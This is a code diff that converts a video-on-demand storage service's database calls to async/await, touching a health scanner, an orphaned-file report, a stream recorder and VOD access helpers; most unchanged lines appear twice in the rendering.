- db.updateVodHealth(vod.id, { status: 'ok', issues: ['recovered_from_master'], probeDuration: dur });
+ await db.repairVodDuration(vod.id, Math.round(dur), stat.size);
+ await db.updateVodHealth(vod.id, { status: 'ok', issues: ['recovered_from_master'], probeDuration: dur });
} catch { /* */ }
} catch { /* */ }
return { recovered: true, duration: dur };
return { recovered: true, duration: dur };
}
}
@@ -223,13 +223,13 @@ async function scanVod(vod, options = {}) {
@@ -223,13 +223,13 @@ async function scanVod(vod, options = {}) {
}
}
if (options.repairDuration && probeInfo.ok && probeInfo.duration > 0 && (vod.duration_seconds || 0) <= 0) {
if (options.repairDuration && probeInfo.ok && probeInfo.duration > 0 && (vod.duration_seconds || 0) <= 0) {
- result.repair = db.repairVodDuration(vod.id, Math.round(probeInfo.duration), stat.size);
+ result.repair = await db.repairVodDuration(vod.id, Math.round(probeInfo.duration), stat.size);
result.issues.push('duration_repaired');
result.issues.push('duration_repaired');
result.status = 'duration_repaired';
result.status = 'duration_repaired';
}
}
if (options.quarantineBad && ['corrupt', 'missing_file', 'zero_byte'].includes(result.status)) {
if (options.quarantineBad && ['corrupt', 'missing_file', 'zero_byte'].includes(result.status)) {
- db.updateVodHealth(vod.id, {
+ await db.updateVodHealth(vod.id, {
status: result.status,
status: result.status,
issues: result.issues,
issues: result.issues,
probeDuration: probeInfo.duration,
probeDuration: probeInfo.duration,
@@ -45,18 +45,18 @@ function parseRecordingName(base) {
@@ -45,18 +45,18 @@ function parseRecordingName(base) {
return { app: m[1], id: Number(m[2]), recorded_at: new Date(Number(m[3])).toISOString() };
return { app: m[1], id: Number(m[2]), recorded_at: new Date(Number(m[3])).toISOString() };
}
}
-function rowByBasename(base) {
- const vod = db.getVodByFileBasename(base);
+async function rowByBasename(base) {
+ const vod = await db.getVodByFileBasename(base);
if (vod) return { kind: 'vod', row: vod };
if (vod) return { kind: 'vod', row: vod };
- const byKey = db.all('SELECT * FROM vods WHERE storage_key LIKE ?', [`%${base}`]).find(r => path.basename(r.storage_key || '') === base);
+ const byKey = (await db.all('SELECT * FROM vods WHERE storage_key ILIKE ?', [`%${base}`])).find(r => path.basename(r.storage_key || '') === base);
if (byKey) return { kind: 'vod', row: byKey };
if (byKey) return { kind: 'vod', row: byKey };
- const clip = db.getClipByFileBasename(base);
+ const clip = await db.getClipByFileBasename(base);
if (clip) return { kind: 'clip', row: clip };
if (clip) return { kind: 'clip', row: clip };
return null;
return null;
}
}
-function objectFor(kind, app, id) {
- try { return db.get('SELECT id, lifecycle_status, deleted_at FROM media_objects WHERE legacy_ref = ?', [`legacy:${app}:${kind}:${id}`]); } catch { return null; }
+async function objectFor(kind, app, id) {
+ try { return await db.get('SELECT id, lifecycle_status, deleted_at FROM media_objects WHERE legacy_ref = ?', [`legacy:${app}:${kind}:${id}`]); } catch { return null; }
}
}
async function head(provider, key) {
async function head(provider, key) {
@@ -79,17 +79,17 @@ async function assess(obj, { provider = 'b2' } = {}) {
@@ -79,17 +79,17 @@ async function assess(obj, { provider = 'b2' } = {}) {
const base = path.basename(obj.key);
const base = path.basename(obj.key);
const parsed = parseRecordingName(base);
const parsed = parseRecordingName(base);
const out = { key: obj.key, size: obj.size, last_modified: obj.last_modified, name: parsed, match: null, copies: {}, recommendation: null, reason: null };
const out = { key: obj.key, size: obj.size, last_modified: obj.last_modified, name: parsed, match: null, copies: {}, recommendation: null, reason: null };
- const found = rowByBasename(base);
+ const found = await rowByBasename(base);
if (!found) {
if (!found) {
if (parsed) {
if (parsed) {
- const byId = db.get('SELECT * FROM vods WHERE id = ? AND app_id = ?', [parsed.id, parsed.app]);
+ const byId = await db.get('SELECT * FROM vods WHERE id = ? AND app_id = ?', [parsed.id, parsed.app]);
if (byId) {
if (byId) {
out.match = { kind: 'vod', id: byId.id, app_id: byId.app_id, file: path.basename(byId.file_path || ''), storage_provider: byId.storage_provider || 'local' };
out.match = { kind: 'vod', id: byId.id, app_id: byId.app_id, file: path.basename(byId.file_path || ''), storage_provider: byId.storage_provider || 'local' };
out.recommendation = 'review_row_mismatch';
out.recommendation = 'review_row_mismatch';
out.reason = `vod ${byId.id} exists but points at ${out.match.file || 'no file'}`;
out.reason = `vod ${byId.id} exists but points at ${out.match.file || 'no file'}`;
return out;
return out;
}
}
- const o = objectFor('vod', parsed.app, parsed.id);
+ const o = await objectFor('vod', parsed.app, parsed.id);
out.match = { kind: 'vod', id: parsed.id, app_id: parsed.app, row: 'gone', object: o ? { id: o.id, lifecycle_status: o.lifecycle_status, deleted_at: o.deleted_at } : null };
out.match = { kind: 'vod', id: parsed.id, app_id: parsed.app, row: 'gone', object: o ? { id: o.id, lifecycle_status: o.lifecycle_status, deleted_at: o.deleted_at } : null };
out.recommendation = 'delete_row_gone';
out.recommendation = 'delete_row_gone';
out.reason = `vod ${parsed.id} (${parsed.app}) no longer exists${o && o.deleted_at ? ` (deleted ${o.deleted_at})` : ''}; recorded ${parsed.recorded_at}`;
out.reason = `vod ${parsed.id} (${parsed.app}) no longer exists${o && o.deleted_at ? ` (deleted ${o.deleted_at})` : ''}; recorded ${parsed.recorded_at}`;
@@ -213,18 +213,18 @@ const LOCATION_ROWS = `SELECT l.provider, l.bucket, l.key, o.id AS object_id, o.
@@ -213,18 +213,18 @@ const LOCATION_ROWS = `SELECT l.provider, l.bucket, l.key, o.id AS object_id, o.
const sidecarsOf = (p) => [p.replace(/\.webm$/, '.seekable.webm'), p.replace(/\.mp4$/, '.seekable.mp4'), p.replace(/\.webm$/, '.master.mkv')].filter(x => x !== p);
const sidecarsOf = (p) => [p.replace(/\.webm$/, '.seekable.webm'), p.replace(/\.mp4$/, '.seekable.mp4'), p.replace(/\.webm$/, '.master.mkv')].filter(x => x !== p);
/** What the database names on local disk: { wanted: Set(abs path), deleted: Map(abs path → location), segmentBases, sessions, jobs }. */
/** What the database names on local disk: { wanted: Set(abs path), deleted: Map(abs path → location), segmentBases, sessions, jobs }. */
-function localReferences() {
+async function localReferences() {
const vs = vodStorage();
const vs = vodStorage();
const model = require('../objects/model');
const model = require('../objects/model');
const wanted = new Set();
const wanted = new Set();
const add = (p) => { if (p) wanted.add(path.resolve(String(p))); };
const add = (p) => { if (p) wanted.add(path.resolve(String(p))); };
const deleted = new Map();
const deleted = new Map();
- for (const l of db.all(`${LOCATION_ROWS} WHERE l.provider = 'local'`)) {
+ for (const l of await db.all(`${LOCATION_ROWS} WHERE l.provider = 'local'`)) {
if (locationWanted(l)) add(l.key); else deleted.set(path.resolve(String(l.key)), l);
if (locationWanted(l)) add(l.key); else deleted.set(path.resolve(String(l.key)), l);
}
}
const thumb = (u) => { const name = model.thumbFileFromUrl(u); if (name) add(path.join(config.thumbnails.path, name)); };
const thumb = (u) => { const name = model.thumbFileFromUrl(u); if (name) add(path.join(config.thumbnails.path, name)); };
const segmentBases = new Set(); // browser-chunk segments <base>.seg-<n>-<ms>.webm belong to <base>.webm
const segmentBases = new Set(); // browser-chunk segments <base>.seg-<n>-<ms>.webm belong to <base>.webm
- for (const v of db.all('SELECT id, file_path, master_file_path, thumbnail_url FROM vods')) {
+ for (const v of await db.all('SELECT id, file_path, master_file_path, thumbnail_url FROM vods')) {
if (v.file_path) {
if (v.file_path) {
for (const f of [v.file_path, vs.localPathForVod(v)]) {
for (const f of [v.file_path, vs.localPathForVod(v)]) {
add(f);
add(f);
@@ -235,15 +235,15 @@ function localReferences() {
@@ -235,15 +235,15 @@ function localReferences() {
add(v.master_file_path);
add(v.master_file_path);
thumb(v.thumbnail_url);
thumb(v.thumbnail_url);
}
}
- for (const c of db.all('SELECT file_path, thumbnail_url FROM clips')) {
+ for (const c of await db.all('SELECT file_path, thumbnail_url FROM clips')) {
if (c.file_path) { add(c.file_path); add(path.join(config.vod.clipsPath, path.basename(c.file_path))); }
if (c.file_path) { add(c.file_path); add(path.join(config.vod.clipsPath, path.basename(c.file_path))); }
thumb(c.thumbnail_url);
thumb(c.thumbnail_url);
}
}
- for (const f of db.all('SELECT key, app_id FROM files')) add(path.join(config.files.path, f.app_id, f.key));
- for (const p of db.all('SELECT screenshot_path FROM pastes WHERE screenshot_path IS NOT NULL')) add(p.screenshot_path);
- for (const a of db.all('SELECT file_path FROM assets WHERE file_path IS NOT NULL')) add(a.file_path);
- const sessions = new Set(db.all("SELECT id FROM media_uploads WHERE status IN ('active', 'completing')").map(r => r.id));
- const jobs = new Set(db.all("SELECT id FROM media_jobs WHERE status IN ('queued', 'running')").map(r => r.id));
+ for (const f of await db.all('SELECT key, app_id FROM files')) add(path.join(config.files.path, f.app_id, f.key));
+ for (const p of await db.all('SELECT screenshot_path FROM pastes WHERE screenshot_path IS NOT NULL')) add(p.screenshot_path);
+ for (const a of await db.all('SELECT file_path FROM assets WHERE file_path IS NOT NULL')) add(a.file_path);
+ const sessions = new Set((await db.all("SELECT id FROM media_uploads WHERE status IN ('active', 'completing')")).map(r => r.id));
+ const jobs = new Set((await db.all("SELECT id FROM media_jobs WHERE status IN ('queued', 'running')")).map(r => r.id));
return { wanted, deleted, segmentBases, sessions, jobs };
return { wanted, deleted, segmentBases, sessions, jobs };
}
}
@@ -263,51 +263,51 @@ function classifyLocal(f, refs, now) {
@@ -263,51 +263,51 @@ function classifyLocal(f, refs, now) {
}
}
/** A recorder-style name (vod-<app>-<id>-<ms>.<ext>): whose recording, and does its row still exist? */
/** A recorder-style name (vod-<app>-<id>-<ms>.<ext>): whose recording, and does its row still exist? */
-function recordingNameHint(base) {
+async function recordingNameHint(base) {
const parsed = parseRecordingName(base);
const parsed = parseRecordingName(base);
if (!parsed) return null;
if (!parsed) return null;
- const row = db.get('SELECT id, file_path FROM vods WHERE id = ? AND app_id = ?', [parsed.id, parsed.app]);
+ const row = await db.get('SELECT id, file_path FROM vods WHERE id = ? AND app_id = ?', [parsed.id, parsed.app]);
if (!row) return `a recording of vod ${parsed.id} (${parsed.app}), whose row is gone`;
if (!row) return `a recording of vod ${parsed.id} (${parsed.app}), whose row is gone`;
return `named for vod ${parsed.id} (${parsed.app}), whose row points at ${path.basename(row.file_path || '') || 'no file'}`;
return `named for vod ${parsed.id} (${parsed.app}), whose row points at ${path.basename(row.file_path || '') || 'no file'}`;
}
}
-function localHint(f, refs) {
+async function localHint(f, refs) {
const base = path.basename(f.abs);
const base = path.basename(f.abs);
const del = refs.deleted.get(f.abs);
const del = refs.deleted.get(f.abs);
if (del) return del.object_id ? `bytes of deleted object ${del.object_id}${del.legacy_ref ? ` (${del.legacy_ref})` : ''}` : 'named only by a location row whose object does not exist';
if (del) return del.object_id ? `bytes of deleted object ${del.object_id}${del.legacy_ref ? ` (${del.legacy_ref})` : ''}` : 'named only by a location row whose object does not exist';
if (f.root === 'objects') {
if (f.root === 'objects') {
const [top, sub] = f.path.split(path.sep);
const [top, sub] = f.path.split(path.sep);
if (top === '.parts') {
if (top === '.parts') {
- const s = db.get('SELECT status FROM media_uploads WHERE id = ?', [sub]);
+ const s = await db.get('SELECT status FROM media_uploads WHERE id = ?', [sub]);
return s ? `parts of multipart upload ${sub} (${s.status})` : `parts of multipart upload ${sub}, which has no session`;
return s ? `parts of multipart upload ${sub} (${s.status})` : `parts of multipart upload ${sub}, which has no session`;
}
}
if (top === '.jobs') {
if (top === '.jobs') {
- const j = db.get('SELECT status FROM media_jobs WHERE id = ?', [sub]);
+ const j = await db.get('SELECT status FROM media_jobs WHERE id = ?', [sub]);
return j ? `work files of job ${sub} (${j.status})` : `work files of job ${sub}, which does not exist`;
return j ? `work files of job ${sub} (${j.status})` : `work files of job ${sub}, which does not exist`;
}
}
if (top === '.tmp') return 'an upload that never finished (temp file)';
if (top === '.tmp') return 'an upload that never finished (temp file)';
- const o = db.get('SELECT id, lifecycle_status FROM media_objects WHERE id = ?', [base]);
+ const o = await db.get('SELECT id, lifecycle_status FROM media_objects WHERE id = ?', [base]);
return o ? `named for object ${o.id} (${o.lifecycle_status}), which records no local copy here` : `named for object ${base}, which does not exist`;
return o ? `named for object ${o.id} (${o.lifecycle_status}), which records no local copy here` : `named for object ${base}, which does not exist`;
}
}
if (base.endsWith('.download')) return 'a restore download that never finished';
if (base.endsWith('.download')) return 'a restore download that never finished';
if (/\.seekable\.(webm|mp4)$/.test(base)) return 'a DVR sidecar no VOD row names';
if (/\.seekable\.(webm|mp4)$/.test(base)) return 'a DVR sidecar no VOD row names';
- if (/\.master\.mkv$/.test(base)) return recordingNameHint(base.replace(/\.master\.mkv$/, '.webm')) || 'a master archive no VOD row names';
- return recordingNameHint(base);
+ if (/\.master\.mkv$/.test(base)) return await recordingNameHint(base.replace(/\.master\.mkv$/, '.webm')) || 'a master archive no VOD row names';
+ return await recordingNameHint(base);
}
}
/** What the database names in one provider's bucket: { wanted: Set(key), deleted: Map(key → location), rows: Map(key → row) }. */
/** What the database names in one provider's bucket: { wanted: Set(key), deleted: Map(key → location), rows: Map(key → row) }. */
-function remoteReferences(provider) {
+async function remoteReferences(provider) {
const vs = vodStorage();
const vs = vodStorage();
const bucket = vs.bucketFor(provider);
const bucket = vs.bucketFor(provider);
const wanted = new Set();
const wanted = new Set();
const deleted = new Map();
const deleted = new Map();
- for (const l of db.all(`${LOCATION_ROWS} WHERE l.provider = ?`, [provider])) {
+ for (const l of await db.all(`${LOCATION_ROWS} WHERE l.provider = ?`, [provider])) {
if (l.bucket && bucket && l.bucket !== bucket) continue; // a copy recorded in another bucket
if (l.bucket && bucket && l.bucket !== bucket) continue; // a copy recorded in another bucket
if (locationWanted(l)) wanted.add(l.key); else deleted.set(l.key, l);
if (locationWanted(l)) wanted.add(l.key); else deleted.set(l.key, l);
}
}
const rows = new Map(); // every key a vods/clips row points at, with the row (stale R2 copies are recognised by it)
const rows = new Map(); // every key a vods/clips row points at, with the row (stale R2 copies are recognised by it)
for (const table of ['vods', 'clips']) {
for (const table of ['vods', 'clips']) {
- for (const r of db.all(`SELECT id, file_path, storage_provider, storage_key FROM ${table} WHERE COALESCE(file_path, '') != ''`)) {
+ for (const r of await db.all(`SELECT id, file_path, storage_provider, storage_key FROM ${table} WHERE COALESCE(file_path, '') != ''`)) {
const p = vs.providerOf(r);
const p = vs.providerOf(r);
if (p === 'local' && !r.storage_key) continue;
if (p === 'local' && !r.storage_key) continue;
const key = vs.keyForVod(r);
const key = vs.keyForVod(r);
@@ -318,15 +318,15 @@ function remoteReferences(provider) {
@@ -318,15 +318,15 @@ function remoteReferences(provider) {
return { wanted, deleted, rows };
return { wanted, deleted, rows };
}
}
-function remoteHint(provider, key, refs) {
+async function remoteHint(provider, key, refs) {
if (key.startsWith(PREFIX)) return `parked in ${PREFIX}: scripts/vods-orphans-report.js says what each one is`;
if (key.startsWith(PREFIX)) return `parked in ${PREFIX}: scripts/vods-orphans-report.js says what each one is`;
const del = refs.deleted.get(key);
const del = refs.deleted.get(key);
if (del) return del.object_id ? `copy of deleted object ${del.object_id}${del.legacy_ref ? ` (${del.legacy_ref})` : ''}` : 'named only by a location row whose object does not exist';
if (del) return del.object_id ? `copy of deleted object ${del.object_id}${del.legacy_ref ? ` (${del.legacy_ref})` : ''}` : 'named only by a location row whose object does not exist';
const row = refs.rows.get(key);
const row = refs.rows.get(key);
if (row && provider === 'r2') return `an R2 copy of ${row.kind} ${row.id}, which is served from ${row.provider}`;
if (row && provider === 'r2') return `an R2 copy of ${row.kind} ${row.id}, which is served from ${row.provider}`;
const shot = /paste-screenshot-(\d+)\.[a-z0-9]+$/i.exec(key);
const shot = /paste-screenshot-(\d+)\.[a-z0-9]+$/i.exec(key);
- if (shot) return db.get('SELECT 1 AS x FROM pastes WHERE id = ?', [Number(shot[1])]) ? `a legacy screenshot of paste ${shot[1]}` : `a legacy screenshot of paste ${shot[1]}, whose row is gone`;
- return recordingNameHint(path.basename(key));
+ if (shot) return await db.get('SELECT 1 AS x FROM pastes WHERE id = ?', [Number(shot[1])]) ? `a legacy screenshot of paste ${shot[1]}` : `a legacy screenshot of paste ${shot[1]}, whose row is gone`;
+ return await recordingNameHint(path.basename(key));
}
}
/**
/**
@@ -339,8 +339,8 @@ function remoteHint(provider, key, refs) {
@@ -339,8 +339,8 @@ function remoteHint(provider, key, refs) {
async function buildStorageReport({ providers = null, list = null, listUploads = null, limit = 2000, now = Date.now() } = {}) {
async function buildStorageReport({ providers = null, list = null, listUploads = null, limit = 2000, now = Date.now() } = {}) {
const vs = vodStorage();
const vs = vodStorage();
const provs = providers || ['b2', 'r2'].filter(p => vs.providerConfigured(p));
const provs = providers || ['b2', 'r2'].filter(p => vs.providerConfigured(p));
- const lister = list || ((p) => vs.listObjects(p, ''));
- const uploadLister = listUploads || ((p) => vs.listMultipartUploads(p));
+ const lister = list || (async (p) => await vs.listObjects(p, ''));
+ const uploadLister = listUploads || (async (p) => await vs.listMultipartUploads(p));
const cap = Math.max(1, Number(limit) || 2000);
const cap = Math.max(1, Number(limit) || 2000);
const report = {
const report = {
kind: 'media.storage_orphans.report', version: 1, generated_at: new Date(now).toISOString(), read_only: true,
kind: 'media.storage_orphans.report', version: 1, generated_at: new Date(now).toISOString(), read_only: true,
@@ -366,7 +366,7 @@ async function buildStorageReport({ providers = null, list = null, listUploads =
@@ -366,7 +366,7 @@ async function buildStorageReport({ providers = null, list = null, listUploads =
report.scope.roots.push({ name: root.name, dir: root.dir, exists, files });
report.scope.roots.push({ name: root.name, dir: root.dir, exists, files });
}
}
report.scope.walk_truncated = walked.truncated;
report.scope.walk_truncated = walked.truncated;
- const lrefs = localReferences();
+ const lrefs = await localReferences();
const orphanLocal = [];
const orphanLocal = [];
for (const f of walked.files) {
for (const f of walked.files) {
const c = classifyLocal(f, lrefs, now);
const c = classifyLocal(f, lrefs, now);
@@ -380,7 +380,7 @@ async function buildStorageReport({ providers = null, list = null, listUploads =
@@ -380,7 +380,7 @@ async function buildStorageReport({ providers = null, list = null, listUploads =
t.by_root[f.root].files++; t.by_root[f.root].bytes += f.size;
t.by_root[f.root].files++; t.by_root[f.root].bytes += f.size;
}
}
orphanLocal.sort((a, b) => b.size - a.size);
orphanLocal.sort((a, b) => b.size - a.size);
- for (const f of orphanLocal.slice(0, cap)) push('unreferenced_local', { root: f.root, path: f.path, size: f.size, modified: new Date(f.mtimeMs).toISOString(), hint: localHint(f, lrefs) });
+ for (const f of orphanLocal.slice(0, cap)) push('unreferenced_local', { root: f.root, path: f.path, size: f.size, modified: new Date(f.mtimeMs).toISOString(), hint: await localHint(f, lrefs) });
if (orphanLocal.length > cap) report.truncated.unreferenced_local = true;
if (orphanLocal.length > cap) report.truncated.unreferenced_local = true;
// ── Buckets ──
// ── Buckets ──
@@ -394,10 +394,10 @@ async function buildStorageReport({ providers = null, list = null, listUploads =
@@ -394,10 +394,10 @@ async function buildStorageReport({ providers = null, list = null, listUploads =
entry.keys = keys.length;
entry.keys = keys.length;
entry.bytes = keys.reduce((n, k) => n + (Number(k.size) || 0), 0);
entry.bytes = keys.reduce((n, k) => n + (Number(k.size) || 0), 0);
listed.set(p, new Map(keys.map(k => [k.key, k])));
listed.set(p, new Map(keys.map(k => [k.key, k])));
- const rrefs = remoteReferences(p);
+ const rrefs = await remoteReferences(p);
const orphans = keys.filter(k => !rrefs.wanted.has(k.key)).sort((a, b) => (Number(b.size) || 0) - (Number(a.size) || 0));
const orphans = keys.filter(k => !rrefs.wanted.has(k.key)).sort((a, b) => (Number(b.size) || 0) - (Number(a.size) || 0));
report.totals.unreferenced_remote[p] = { keys: orphans.length, bytes: orphans.reduce((n, k) => n + (Number(k.size) || 0), 0) };
report.totals.unreferenced_remote[p] = { keys: orphans.length, bytes: orphans.reduce((n, k) => n + (Number(k.size) || 0), 0) };
- for (const k of orphans.slice(0, cap)) push('unreferenced_remote', { provider: p, key: k.key, size: Number(k.size) || 0, last_modified: k.last_modified || null, hint: remoteHint(p, k.key, rrefs) });
+ for (const k of orphans.slice(0, cap)) push('unreferenced_remote', { provider: p, key: k.key, size: Number(k.size) || 0, last_modified: k.last_modified || null, hint: await remoteHint(p, k.key, rrefs) });
if (orphans.length > cap) report.truncated.unreferenced_remote = true;
if (orphans.length > cap) report.truncated.unreferenced_remote = true;
let uploads = [];
let uploads = [];
try { uploads = await uploadLister(p); } catch (err) { entry.multipart_error = err.message; }
try { uploads = await uploadLister(p); } catch (err) { entry.multipart_error = err.message; }
@@ -406,7 +406,7 @@ async function buildStorageReport({ providers = null, list = null, listUploads =
@@ -406,7 +406,7 @@ async function buildStorageReport({ providers = null, list = null, listUploads =
}
}
// ── Copies the database records whose bytes are not there ──
// ── Copies the database records whose bytes are not there ──
- for (const l of db.all(`SELECT l.provider, l.bucket, l.key, l.state, l.verified_at, o.id AS object_id, o.app_id, o.kind, o.legacy_ref, o.lifecycle_status
+ for (const l of await db.all(`SELECT l.provider, l.bucket, l.key, l.state, l.verified_at, o.id AS object_id, o.app_id, o.kind, o.legacy_ref, o.lifecycle_status
FROM media_locations l JOIN media_objects o ON o.id = l.object_id WHERE o.lifecycle_status != 'deleted' ORDER BY l.id`)) {
FROM media_locations l JOIN media_objects o ON o.id = l.object_id WHERE o.lifecycle_status != 'deleted' ORDER BY l.id`)) {
let there;
let there;
if (l.provider === 'local') {
if (l.provider === 'local') {
@@ -425,8 +425,8 @@ async function buildStorageReport({ providers = null, list = null, listUploads =
@@ -425,8 +425,8 @@ async function buildStorageReport({ providers = null, list = null, listUploads =
}
}
// ── Media's own multipart sessions still open ──
// ── Media's own multipart sessions still open ──
- for (const u of db.all(`SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received,
- (SELECT COALESCE(SUM(p.size_bytes), 0) FROM media_upload_parts p WHERE p.upload_id = u.id) AS bytes_received,
+ for (const u of await db.all(`SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received,
+ (SELECT COALESCE(SUM(p.size_bytes), 0)::bigint FROM media_upload_parts p WHERE p.upload_id = u.id) AS bytes_received,
(u.expires_at < datetime('now')) AS expired
(u.expires_at < datetime('now')) AS expired
FROM media_uploads u WHERE u.status IN ('active', 'completing') ORDER BY u.created_at`)) {
FROM media_uploads u WHERE u.status IN ('active', 'completing') ORDER BY u.created_at`)) {
report.totals.multipart_local.open++;
report.totals.multipart_local.open++;
@@ -183,10 +183,10 @@ class StreamRecorder {
@@ -183,10 +183,10 @@ class StreamRecorder {
return this.activeRecordings.size;
return this.activeRecordings.size;
}
}
- _cleanupFailedVod(vodId, filePath) {
+ async _cleanupFailedVod(vodId, filePath) {
if (!filePath || !fs.existsSync(filePath)) {
if (!filePath || !fs.existsSync(filePath)) {
try {
try {
- db.run('DELETE FROM vods WHERE id = ?', [vodId]); // its object is marked deleted by the row-delete trigger
+ await db.run('DELETE FROM vods WHERE id = ?', [vodId]); // its object is marked deleted by the row-delete trigger
console.log(`[VOD] Deleted stale failed VOD ${vodId}`);
console.log(`[VOD] Deleted stale failed VOD ${vodId}`);
} catch (err) {
} catch (err) {
console.warn(`[VOD] Failed to delete stale VOD ${vodId}:`, err.message);
console.warn(`[VOD] Failed to delete stale VOD ${vodId}:`, err.message);
@@ -194,7 +194,7 @@ class StreamRecorder {
@@ -194,7 +194,7 @@ class StreamRecorder {
return;
return;
}
}
try {
try {
- require('../objects/model').withObject('vod', vodId, () => db.run(
+ await require('../objects/model').withObject('vod', vodId, async () => await db.run(
'UPDATE vods SET is_recording = 0, health_status = ?, health_issues_json = ?, quarantined_at = datetime(\'now\'), is_public = 0 WHERE id = ?',
'UPDATE vods SET is_recording = 0, health_status = ?, health_issues_json = ?, quarantined_at = datetime(\'now\'), is_public = 0 WHERE id = ?',
['corrupt', JSON.stringify(['failed_recording_start']), vodId]
['corrupt', JSON.stringify(['failed_recording_start']), vodId]
));
));
@@ -215,7 +215,7 @@ class StreamRecorder {
@@ -215,7 +215,7 @@ class StreamRecorder {
return { ok: true };
return { ok: true };
}
}
- _registerCommon(vod, proc, filePath, masterPath, extra = {}) {
+ async _registerCommon(vod, proc, filePath, masterPath, extra = {}) {
const recording = {
const recording = {
vodId: vod.id,
vodId: vod.id,
appId: vod.app_id,
appId: vod.app_id,
@@ -241,9 +241,9 @@ class StreamRecorder {
@@ -241,9 +241,9 @@ class StreamRecorder {
// The row and its object in one transaction. ffmpeg is already running, so the row must say
// The row and its object in one transaction. ffmpeg is already running, so the row must say
// so even if the object cannot be written with it: withObjectOrRow then writes the row alone
// so even if the object cannot be written with it: withObjectOrRow then writes the row alone
// and re-projects after it (the finalize that follows re-projects every outcome as well).
// and re-projects after it (the finalize that follows re-projects every outcome as well).
- require('../objects/model').withObjectOrRow('vod', vod.id, () => {
- db.run('UPDATE vods SET is_recording = 1, file_path = ? WHERE id = ?', [filePath, vod.id]);
- if (masterPath) db.run('UPDATE vods SET master_file_path = ? WHERE id = ?', [masterPath, vod.id]);
+ await require('../objects/model').withObjectOrRow('vod', vod.id, async () => {
+ await db.run('UPDATE vods SET is_recording = 1, file_path = ? WHERE id = ?', [filePath, vod.id]);
+ if (masterPath) await db.run('UPDATE vods SET master_file_path = ? WHERE id = ?', [masterPath, vod.id]);
});
});
return recording;
return recording;
}
}
@@ -283,12 +283,12 @@ class StreamRecorder {
@@ -283,12 +283,12 @@ class StreamRecorder {
const rec = this.activeRecordings.get(vodId);
const rec = this.activeRecordings.get(vodId);
const filePath = rec?.filePath;
const filePath = rec?.filePath;
this._teardown(vodId);
this._teardown(vodId);
- require('./finalize').finalizeVod(vodId, { startTimeMs: rec?.startTime }).catch(() => {
+ require('./finalize').finalizeVod(vodId, { startTimeMs: rec?.startTime }).catch(async () => {
// Never bare-mark a failed recording as ready — that published
// Never bare-mark a failed recording as ready — that published
// 0:00 ghosts. Quarantine it out of listings instead.
// 0:00 ghosts. Quarantine it out of listings instead.
// The live duration updates were wall-clock estimates: none of it is kept. Row and object together.
// The live duration updates were wall-clock estimates: none of it is kept. Row and object together.
try {
try {
- require('../objects/model').withObject('vod', vodId, () => db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review',
+ await require('../objects/model').withObject('vod', vodId, async () => await db.run(`UPDATE vods SET is_recording = 0, duration_seconds = 0, duration_source = 'unknown', health_status = 'needs_review',
health_issues_json = ?, quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,
health_issues_json = ?, quarantined_at = datetime('now'), is_public = 0 WHERE id = ?`,
[JSON.stringify(['finalize_failed']), vodId]));
[JSON.stringify(['finalize_failed']), vodId]));
} catch (e) { console.warn(`[VOD] Failed to quarantine vod ${vodId} after a failed finalize:`, e.message); }
} catch (e) { console.warn(`[VOD] Failed to quarantine vod ${vodId} after a failed finalize:`, e.message); }
@@ -311,7 +311,7 @@ class StreamRecorder {
@@ -311,7 +311,7 @@ class StreamRecorder {
/**
/**
* Run periodic live-seeking remux and update DB duration/file size.
* Run periodic live-seeking remux and update DB duration/file size.
*/
*/
- _periodicRemux(vodId) {
+ async _periodicRemux(vodId) {
const rec = this.activeRecordings.get(vodId);
const rec = this.activeRecordings.get(vodId);
if (!rec || !rec.filePath || !fs.existsSync(rec.filePath)) return;
if (!rec || !rec.filePath || !fs.existsSync(rec.filePath)) return;
@@ -319,7 +319,7 @@ class StreamRecorder {
@@ -319,7 +319,7 @@ class StreamRecorder {
try {
try {
const stat = fs.statSync(rec.filePath);
const stat = fs.statSync(rec.filePath);
// Progress estimate: the row and its object's size/duration together, or neither (next pass retries).
// Progress estimate: the row and its object's size/duration together, or neither (next pass retries).
- require('../objects/model').withObject('vod', rec.vodId, () => db.run('UPDATE vods SET duration_seconds = ?, file_size = ? WHERE id = ?',
+ await require('../objects/model').withObject('vod', rec.vodId, async () => await db.run('UPDATE vods SET duration_seconds = ?, file_size = ? WHERE id = ?',
[elapsed, stat.size, rec.vodId]));
[elapsed, stat.size, rec.vodId]));
} catch {}
} catch {}
@@ -71,10 +71,10 @@ function _isPrivate(row) {
@@ -71,10 +71,10 @@ function _isPrivate(row) {
return (row.visibility || (row.is_public ? 'public' : 'private')) === 'private';
return (row.visibility || (row.is_public ? 'public' : 'private')) === 'private';
}
}
-function _getVodScoped(req, res) {
+async function _getVodScoped(req, res) {
const id = parseInt(req.params.id, 10);
const id = parseInt(req.params.id, 10);
if (!Number.isFinite(id)) { res.status(404).json({ error: 'VOD not found' }); return null; }
if (!Number.isFinite(id)) { res.status(404).json({ error: 'VOD not found' }); return null; }
- const vod = db.getVodById(id, req.appId);
+ const vod = await db.getVodById(id, req.appId);
if (!vod) { res.status(404).json({ error: 'VOD not found' }); return null; }
if (!vod) { res.status(404).json({ error: 'VOD not found' }); return null; }
return vod;
return vod;
}
}
@@ -85,8 +85,8 @@ function _getVodScoped(req, res) {
@@ -85,8 +85,8 @@ function _getVodScoped(req, res) {
* users (X-OV-User-Id) writes only that user's own VODs: someone else's private one answers exactly
* users (X-OV-User-Id) writes only that user's own VODs: someone else's private one answers exactly
* as a missing one would, anything else 403.
* as a missing one would, anything else 403.
*/
*/
-function _getVodForWrite(req, res) {
- const vod = _getVodScoped(req, res);
+async function _getVodForWrite(req, res) {
+ const vod = await _getVodScoped(req, res);
if (!vod || req.authType !== 'user') return vod;
if (!vod || req.authType !== 'user') return vod;
if (vod.user_id != null && String(vod.user_id) === String(req.userId)) return vod;
if (vod.user_id != null && String(vod.user_id) === String(req.userId)) return vod;
if (_isPrivate(vod)) res.status(404).json({ error: 'VOD not found' });
if (_isPrivate(vod)) res.status(404).json({ error: 'VOD not found' });
@@ -95,10 +95,10 @@ function _getVodForWrite(req, res) {
@@ -95,10 +95,10 @@ function _getVodForWrite(req, res) {
}
}
// ── Create VOD ───────────────────────────────────────────────
// ── Create VOD ───────────────────────────────────────────────
-router.post('/', tenantAuth(), (req, res) => {
